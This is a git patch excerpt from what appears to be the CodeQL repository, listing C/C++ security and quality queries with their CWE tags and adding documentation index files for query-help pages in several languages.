+ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-and-quality,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooManyArguments.ql,security-and-quality,Call to function with extraneous arguments,cpp/futile-params,problem,warning,very-high,correctness maintainability +ql\cpp\ql\src\Likely Bugs\UseInOwnInitializer.ql,security-and-quality,Variable used in its own initializer,cpp/use-in-own-initializer,problem,warning,high,maintainability correctness +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-and-quality,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-and-quality,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-and-quality,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-and-quality,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-and-quality,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-and-quality,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-and-quality,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-and-quality,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-and-quality,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-and-quality,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-and-quality,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-and-quality,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-and-quality,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-and-quality,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-and-quality,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-and-quality,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 +ql\cpp\ql\src\Best Practices\Likely Errors\OffsetUseBeforeRangeCheck.ql,security-and-quality,Array offset used before range check,cpp/offset-use-before-range-check,problem,warning,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-125 +ql\cpp\ql\src\Critical\OverflowStatic.ql,security-and-quality,Static array access may cause overflow,cpp/static-buffer-overflow,problem,warning,medium,reliability security external/cwe/cwe-119 external/cwe/cwe-131 +ql\cpp\ql\src\Critical\SizeCheck.ql,security-and-quality,Not enough memory allocated for pointer type,cpp/allocation-too-small,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 +ql\cpp\ql\src\Critical\SizeCheck2.ql,security-and-quality,Not enough memory allocated for array of pointer type,cpp/suspicious-allocation-size,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 +ql\cpp\ql\src\Documentation\UncommentedFunction.ql,security-and-quality,Poorly documented large function,cpp/poorly-documented-function,problem,warning,medium,maintainability documentation statistical non-attributable +ql\cpp\ql\src\jsf\4.17 Types\AV Rule 148.ql,security-and-quality,Use of integer where enum is preferred,cpp/integer-used-for-enum,problem,warning,medium,maintainability readability language-features external/jsf +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadCheckOdd.ql,security-and-quality,Bad check for oddness,cpp/incomplete-parity-check,problem,warning,medium,reliability correctness types +ql\cpp\ql\src\Likely Bugs\Conversion\LossyFunctionResultCast.ql,security-and-quality,Lossy function result cast,cpp/lossy-function-result-cast,problem,warning,medium,correctness +ql\cpp\ql\src\Likely Bugs\InconsistentCallOnResult.ql,security-and-quality,Inconsistent operation on return value,cpp/inconsistent-call-on-result,problem,warning,medium,reliability correctness statistical non-attributable external/cwe/cwe-252 +ql\cpp\ql\src\Likely Bugs\InconsistentCheckReturnNull.ql,security-and-quality,Inconsistent nullness check,cpp/inconsistent-null-check,problem,error,medium,reliability correctness statistical non-attributable external/cwe/cwe-476 +ql\cpp\ql\src\Likely Bugs\Leap Year\Adding365DaysPerYear.ql,security-and-quality,Arithmetic operation assumes 365 days per year,cpp/leap-year/adding-365-days-per-year,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedLeapYearAfterYearModification.ql,security-and-quality,Year field changed using an arithmetic operation without checking for leap year,cpp/leap-year/unchecked-after-arithmetic-year-modification,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedReturnValueForTimeFunctions.ql,security-and-quality,Unchecked return value for time conversion function,cpp/leap-year/unchecked-return-value-for-time-conversion-function,problem,warning,medium,leap-year correctness +ql\cpp\ql\src\Likely Bugs\Likely Typos\IncorrectNotOperatorUsage.ql,security-and-quality,Incorrect 'not' operator usage,cpp/incorrect-not-operator-usage,problem,warning,medium,security external/cwe/cwe-480 external/microsoft/c6317 +ql\cpp\ql\src\Likely Bugs\Likely Typos\MissingEnumCaseInSwitch.ql,security-and-quality,Missing enum case in switch,cpp/missing-case-in-switch,problem,warning,medium,reliability correctness external/cwe/cwe-478 +ql\cpp\ql\src\Likely Bugs\Memory Management\StackAddressEscapes.ql,security-and-quality,Local variable address stored in non-local memory,cpp/stack-address-escape,problem,warning,medium,reliability +ql\cpp\ql\src\Likely Bugs\Memory Management\StrncpyFlippedArgs.ql,security-and-quality,Possibly wrong buffer size in string copy,cpp/bad-strncpy-size,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousCallToStrncat.ql,security-and-quality,Potentially unsafe call to strncat,cpp/unsafe-strncat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousSizeof.ql,security-and-quality,Suspicious 'sizeof' use,cpp/suspicious-sizeof,problem,warning,medium,reliability correctness security external/cwe/cwe-467 +ql\cpp\ql\src\Likely Bugs\Memory Management\UninitializedLocal.ql,security-and-quality,Potentially uninitialized local variable,cpp/uninitialized-local,problem,warning,medium,security external/cwe/cwe-665 external/cwe/cwe-457 +ql\cpp\ql\src\Likely Bugs\Memory Management\UnsafeUseOfStrcat.ql,security-and-quality,Potentially unsafe use of strcat,cpp/unsafe-strcat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 +ql\cpp\ql\src\Likely Bugs\NestedLoopSameVar.ql,security-and-quality,Nested loops with same variable,cpp/nested-loops-with-same-variable,problem,warning,medium,maintainability correctness +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\MistypedFunctionArguments.ql,security-and-quality,Call to a function with one or more incompatible arguments,cpp/mistyped-function-arguments,problem,warning,medium,correctness maintainability +ql\cpp\ql\src\Security\CWE\CWE-022\TaintedPath.ql,security-and-quality,Uncontrolled data used in path expression,cpp/path-injection,path-problem,warning,medium,security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 +ql\cpp\ql\src\Security\CWE\CWE-114\UncontrolledProcessOperation.ql,security-and-quality,Uncontrolled process operation,cpp/uncontrolled-process-operation,path-problem,warning,medium,security external/cwe/cwe-114 +ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWrite.ql,security-and-quality,Potentially overrunning write,cpp/overrunning-write,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWriteFloat.ql,security-and-quality,Potentially overrunning write with float to string conversion,cpp/overrunning-write-with-float,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-120\UnboundedWrite.ql,security-and-quality,Unbounded write,cpp/unbounded-write,path-problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-121\UnterminatedVarargsCall.ql,security-and-quality,Unterminated variadic call,cpp/unterminated-variadic-call,problem,warning,medium,reliability security external/cwe/cwe-121 +ql\cpp\ql\src\Security\CWE\CWE-190\ArithmeticUncontrolled.ql,security-and-quality,Uncontrolled data in arithmetic expression,cpp/uncontrolled-arithmetic,path-problem,warning,medium,security external/cwe/cwe-190 external/cwe/cwe-191 +ql\cpp\ql\src\Security\CWE\CWE-290\AuthenticationBypass.ql,security-and-quality,Authentication bypass by spoofing,cpp/user-controlled-bypass,path-problem,warning,medium,security external/cwe/cwe-290 +ql\cpp\ql\src\Security\CWE\CWE-311\CleartextBufferWrite.ql,security-and-quality,Cleartext storage of sensitive information in buffer,cpp/cleartext-storage-buffer,path-problem,warning,medium,security external/cwe/cwe-312 +ql\cpp\ql\src\Security\CWE\CWE-311\CleartextFileWrite.ql,security-and-quality,Cleartext storage of sensitive information in file,cpp/cleartext-storage-file,problem,warning,medium,security external/cwe/cwe-313 +ql\cpp\ql\src\Security\CWE\CWE-313\CleartextSqliteDatabase.ql,security-and-quality,Cleartext storage of sensitive information in an SQLite database,cpp/cleartext-storage-database,path-problem,warning,medium,security external/cwe/cwe-313 +ql\cpp\ql\src\Security\CWE\CWE-327\BrokenCryptoAlgorithm.ql,security-and-quality,Use of a broken or risky cryptographic algorithm,cpp/weak-cryptographic-algorithm,problem,error,medium,security external/cwe/cwe-327 +ql\cpp\ql\src\Security\CWE\CWE-367\TOCTOUFilesystemRace.ql,security-and-quality,Time-of-check time-of-use filesystem race condition,cpp/toctou-race-condition,problem,warning,medium,security external/cwe/cwe-367 +ql\cpp\ql\src\Security\CWE\CWE-428\UnsafeCreateProcessCall.ql,security-and-quality,NULL application name with an unquoted path in call to CreateProcess,cpp/unsafe-create-process-call,problem,error,medium,security external/cwe/cwe-428 external/microsoft/C6277 +ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScaling.ql,security-and-quality,Suspicious pointer scaling,cpp/suspicious-pointer-scaling,problem,warning,medium,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScalingVoid.ql,security-and-quality,Suspicious pointer scaling to void,cpp/suspicious-pointer-scaling-void,problem,warning,medium,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-732\DoNotCreateWorldWritable.ql,security-and-quality,File created without restricting permissions,cpp/world-writable-file-creation,problem,warning,medium,security external/cwe/cwe-732 +ql\cpp\ql\src\Security\CWE\CWE-807\TaintedCondition.ql,security-and-quality,Untrusted input for a condition,cpp/tainted-permissions-check,path-problem,warning,medium,security external/cwe/cwe-807 +ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-extended,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 +ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-extended,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 +ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-extended,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 +ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-extended,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security +ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-extended,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 +ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-extended,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-extended,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-extended,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-extended,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-extended,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-extended,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-extended,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-extended,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-extended,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-extended,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-extended,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-extended,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-extended,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-extended,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-extended,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-extended,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-extended,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-extended,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-extended,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-extended,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-extended,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-extended,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-extended,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 diff --git a/docs/language/query-help/toc-cpp.rst b/docs/language/query-help/toc-cpp.rst new file mode 100644 index 00000000000..3408acca222 --- /dev/null +++ b/docs/language/query-help/toc-cpp.rst @@ -0,0 +1,59 @@ +.. toctree:: + :titlesonly: + + cpp/OffsetUseBeforeRangeCheck + cpp/AuthenticationBypass + cpp/BadAdditionOverflowCheck + cpp/BadlyBoundedWrite + cpp/CgiXss + cpp/AllocaInLoop + cpp/TooFewArguments + cpp/HResultBooleanConversion + cpp/WcharCharConversion + cpp/CleartextSqliteDatabase + cpp/CleartextBufferWrite + cpp/CleartextFileWrite + cpp/ComparisonWithWiderType + cpp/DangerousUseOfCin + cpp/DoNotCreateWorldWritable + cpp/IncorrectNotOperatorUsage + cpp/NewFreeMismatch + cpp/IntMultToLong + cpp/UnsafeCreateProcessCall + cpp/NoSpaceForZeroTerminator + cpp/NonConstantFormat + cpp/SizeCheck2 + cpp/SizeCheck + cpp/TaintedAllocationSize + cpp/PointerOverflow + cpp/StrncpyFlippedArgs + cpp/SnprintfOverflow + cpp/OverrunWrite + cpp/OverrunWriteFloat + cpp/UninitializedLocal + cpp/SuspiciousCallToStrncat + cpp/UnsafeUseOfStrcat + cpp/UnsafeDaclSecurityDescriptor + cpp/SignedOverflowCheck + cpp/OverflowStatic + cpp/SuspiciousSizeof + cpp/SuspiciousAddWithSizeof + cpp/IncorrectPointerScaling + cpp/IncorrectPointerScalingVoid + cpp/TOCTOUFilesystemRace + cpp/WrongNumberOfFormatArguments + cpp/UnboundedWrite + cpp/SqlTainted + cpp/ArithmeticUncontrolled + cpp/TaintedPath + cpp/UncontrolledFormatString + cpp/UncontrolledFormatStringThroughGlobalVar + cpp/UncontrolledProcessOperation + cpp/UnterminatedVarargsCall + cpp/TaintedCondition + cpp/CastArrayPointerArithmetic + cpp/BrokenCryptoAlgorithm + cpp/OpenSslHeartbleed + cpp/DangerousFunctionOverflow + cpp/PotentiallyDangerousFunction + cpp/WrongTypeFormatArguments \ No newline at end of file diff --git a/docs/language/query-help/toc-csharp.rst b/docs/language/query-help/toc-csharp.rst new file mode 100644 index 00000000000..3f8be066531 --- /dev/null +++ b/docs/language/query-help/toc-csharp.rst @@ -0,0 +1,61 @@ +.. toctree:: + :titlesonly: + + csharp/RequireSSL + csharp/ASPNetDirectoryListing + csharp/ZipSlip + csharp/AssemblyPathInjection + csharp/CleartextStorage + csharp/CookieWithOverlyBroadDomain + csharp/CookieWithOverlyBroadPath + csharp/PersistentCookie + csharp/ASPNetDebug + csharp/XSS + csharp/ReDoS + csharp/UnsafeDeserializationUntrustedInput + csharp/DeserializedDelegate + csharp/EmptyPasswordInConfigurationFile + csharp/Encryption using ECB + csharp/ExposureOfPrivateInformation + csharp/AbandonSession + csharp/HardcodedConnectionString + csharp/HardcodedCredentials + csharp/HeaderCheckingDisabled + csharp/CodeInjection + csharp/ExceptionInformationExposure + csharp/ExposureInTransmittedData + csharp/InsecureSQLConnection + csharp/InsecureRandomness + csharp/StoredLDAPInjection + csharp/LDAPInjection + csharp/LogForging + csharp/MissingXFrameOptions + csharp/MissingXMLValidation + csharp/MissingAntiForgeryTokenValidation + csharp/MissingASPNETGlobalErrorHandler + csharp/PasswordInConfigurationFile + csharp/RegexInjection + csharp/ResourceInjection + csharp/SecondOrderSqlInjection + csharp/SqlInjection + csharp/RuntimeChecksBypass + csharp/StoredXPathInjection + csharp/StoredXSS + csharp/ThreadUnsafeICryptoTransformLambda + csharp/ThreadUnsafeICryptoTransform + csharp/UrlRedirect + csharp/CommandInjection + csharp/StoredCommandInjection + csharp/TaintedPath + csharp/UncontrolledFormatString + csharp/UntrustedDataInsecureXml + csharp/LocalUnvalidatedArithmetic + csharp/UseOfFileUpload + csharp/ConditionalBypass + csharp/ValueShadowing + csharp/ValueShadowingServerVariable + csharp/WeakEncryption + csharp/InsufficientKeySize + csharp/InadequateRSAPadding + csharp/XMLInjection + csharp/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-go.rst b/docs/language/query-help/toc-go.rst new file mode 100644 index 00000000000..3e535c41926 --- /dev/null +++ b/docs/language/query-help/toc-go.rst @@ -0,0 +1,25 @@ +.. toctree:: + :titlesonly: + + go/ZipSlip + go/BadRedirectCheck + go/CleartextLogging + go/CommandInjection + go/SqlInjection + go/DisabledCertificateCheck + go/EmailInjection + go/HardcodedCredentials + go/IncompleteUrlSchemeCheck + go/IncompleteHostnameRegexp + go/IncorrectIntegerConversion + go/InsecureTLS + go/MissingRegexpAnchor + go/OpenUrlRedirect + go/StringBreak + go/ReflectedXss + go/AllocationSizeOverflow + go/RequestForgery + go/TaintedPath + go/ConstantOauth2State + go/InsecureHostKeyCallback + go/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-java.rst b/docs/language/query-help/toc-java.rst new file mode 100644 index 00000000000..f90aee9bc4a --- /dev/null +++ b/docs/language/query-help/toc-java.rst @@ -0,0 +1,44 @@ +.. toctree:: + :titlesonly: + + java/ZipSlip + java/ExecUnescaped + java/CleartextStorageCookie + java/CleartextStorageProperties + java/ComparisonWithWiderType + java/XSS + java/UnsafeDeserialization + java/NettyResponseSplitting + java/SpringCSRFProtection + java/ExecRelative + java/InsecureDependencyResolution + java/InsecureCookie + java/ResponseSplitting + java/HardcodedCredentialsApiCall + java/InformationLoss + java/ImproperValidationOfArrayIndex + java/ImproperValidationOfArrayConstruction + java/StackTraceExposure + java/LdapInjection + java/InfiniteLoop + java/SqlTainted + java/SqlUnescaped + java/SocketAuthRace + java/ReadingFromWorldWritableFile + java/XXE + java/IntMultToLong + java/TOCTOURace + java/UrlRedirect + java/ExecTainted + java/ArithmeticUncontrolled + java/TaintedPath + java/UnreleasedLock + java/BrokenCryptoAlgorithm + java/MaybeBrokenCryptoAlgorithm + java/PotentiallyDangerousFunction + java/PredictableSeed + java/ExternallyControlledFormatString + java/ConditionalBypass + java/ArithmeticTainted + java/NumericCastTainted + java/TaintedPermissionsCheck \ No newline at end of file diff --git a/docs/language/query-help/toc-javascript.rst b/docs/language/query-help/toc-javascript.rst new file mode 100644 index 00000000000..2ae1d3f08df --- /dev/null +++ b/docs/language/query-help/toc-javascript.rst @@ -0,0 +1,76 @@ +.. toctree:: + :titlesonly: + + javascript/ZipSlip + javascript/CorsMisconfigurationForCredentials + javascript/CleartextStorage + javascript/CleartextLogging + javascript/ClientSideUrlRedirect + javascript/Xss + javascript/CodeInjection + javascript/BadRandomness + javascript/PostMessageStar + javascript/XssThroughDom + javascript/SqlInjection + javascript/UnsafeDeserialization + javascript/DisablingWebSecurity + javascript/DisablingSce + javascript/DisablingCertificateValidation + javascript/DoubleEscaping + javascript/InsecureDownload + javascript/AllowRunningInsecureContent + javascript/ExceptionXss + javascript/PrivateFileExposure + javascript/FileAccessToHttp + javascript/HardcodedCredentials + javascript/HardcodedDataInterpretedAsCode + javascript/HostHeaderPoisoningInEmailGeneration + javascript/ImproperCodeSanitization + javascript/IncompleteHtmlAttributeSanitization + javascript/IncompleteUrlSchemeCheck + javascript/IncompleteUrlSubstringSanitization + javascript/IncompleteMultiCharacterSanitization + javascript/IncompleteHostnameRegExp + javascript/IncompleteSanitization + javascript/IncorrectSuffixCheck + javascript/IndirectCommandInjection + javascript/ReDoS + javascript/StackTraceExposure + javascript/InsecureUrlWhitelist + javascript/InsecureRandomness + javascript/LoopBoundInjection + javascript/MissingCsrfMiddleware + javascript/MissingRateLimiting + javascript/MissingRegExpAnchor + javascript/HttpToFileAccess + javascript/PasswordInConfigurationFile + javascript/PolynomialReDoS + javascript/TargetBlank + javascript/PrototypePollution + javascript/PrototypePollutionUtility + javascript/ReflectedXss + javascript/RegExpInjection + javascript/RemotePropertyInjection + javascript/IdentityReplacement + javascript/ServerSideUrlRedirect + javascript/ShellCommandInjectionFromEnvironment + javascript/BuildArtifactLeak + javascript/StoredXss + javascript/TypeConfusionThroughParameterTampering + javascript/CommandInjection + javascript/RequestForgery + javascript/TaintedPath + javascript/UselessUseOfCat + javascript/UnsafeDynamicMethodAccess + javascript/UnsafeHtmlExpansion + javascript/UnsafeJQueryPlugin + javascript/UnsafeShellCommandConstruction + javascript/UnvalidatedDynamicMethodCall + javascript/BrokenCryptoAlgorithm + javascript/TaintedFormatString + javascript/InsufficientPasswordHash + javascript/UselessRegExpCharacterEscape + javascript/ConditionalBypass + javascript/Xxe + javascript/XmlBomb + javascript/XpathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-python.rst b/docs/language/query-help/toc-python.rst new file mode 100644 index 00000000000..d664092c900 --- /dev/null +++ b/docs/language/query-help/toc-python.rst @@ -0,0 +1,29 @@ +.. toctree:: + :titlesonly: + + python/UseofInput + python/MissingHostKeyValidation + python/TarSlip + python/BindToAllInterfaces + python/CleartextLogging + python/CleartextStorage + python/CodeInjection + python/InsecureDefaultProtocol + python/UnsafeDeserialization + python/FlaskDebug + python/HardcodedCredentials + python/IncompleteUrlSubstringSanitization + python/IncompleteHostnameRegExp + python/StackTraceExposure + python/InsecureTemporaryFile + python/Jinja2WithoutEscaping + python/WeakFilePermissions + python/ReflectedXss + python/RequestWithoutValidation + python/SqlInjection + python/UrlRedirect + python/CommandInjection + python/PathInjection + python/BrokenCryptoAlgorithm + python/InsecureProtocol + python/WeakCrypto \ No newline at end of file From 47483a8e84ec0837e7e3d3412ef06835cedee482 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:44:48 +0100 Subject: [PATCH 0020/1241] auto format script --- docs/language/query-help-markdown.py | 145 ++++++------ docs/language/query-help/conf.py | 8 +- docs/language/query-help/cpp/AllocaInLoop.md | 53 ----- .../query-help/cpp/ArithmeticUncontrolled.md | 50 ----- .../query-help/cpp/AuthenticationBypass.md | 61 ------ .../cpp/BadAdditionOverflowCheck.md | 46 ---- .../query-help/cpp/BadlyBoundedWrite.md | 42 ---- .../query-help/cpp/BrokenCryptoAlgorithm.md | 46 ---- .../cpp/CastArrayPointerArithmetic.md | 48 ---- docs/language/query-help/cpp/CgiXss.md | 54 ----- .../query-help/cpp/CleartextBufferWrite.md | 45 ---- .../query-help/cpp/CleartextFileWrite.md | 45 ---- .../query-help/cpp/CleartextSqliteDatabase.md | 67 ------ .../query-help/cpp/ComparisonWithWiderType.md | 63 ------ .../cpp/DangerousFunctionOverflow.md | 56 ----- .../query-help/cpp/DangerousUseOfCin.md | 47 ---- .../cpp/DoNotCreateWorldWritable.md | 45 ---- .../cpp/HResultBooleanConversion.md | 42 ---- .../cpp/IncorrectNotOperatorUsage.md | 55 ----- .../query-help/cpp/IncorrectPointerScaling.md | 43 ---- .../cpp/IncorrectPointerScalingVoid.md | 44 ---- docs/language/query-help/cpp/IntMultToLong.md | 40 ---- .../query-help/cpp/NewFreeMismatch.md | 34 --- .../cpp/NoSpaceForZeroTerminator.md | 43 ---- .../query-help/cpp/NonConstantFormat.md | 109 --------- .../cpp/OffsetUseBeforeRangeCheck.md | 58 ----- .../query-help/cpp/OpenSslHeartbleed.md | 60 ----- .../language/query-help/cpp/OverflowStatic.md | 41 ---- docs/language/query-help/cpp/OverrunWrite.md | 45 ---- .../query-help/cpp/OverrunWriteFloat.md | 45 ---- .../query-help/cpp/PointerOverflow.md | 45 ---- .../cpp/PotentiallyDangerousFunction.md | 50 ----- 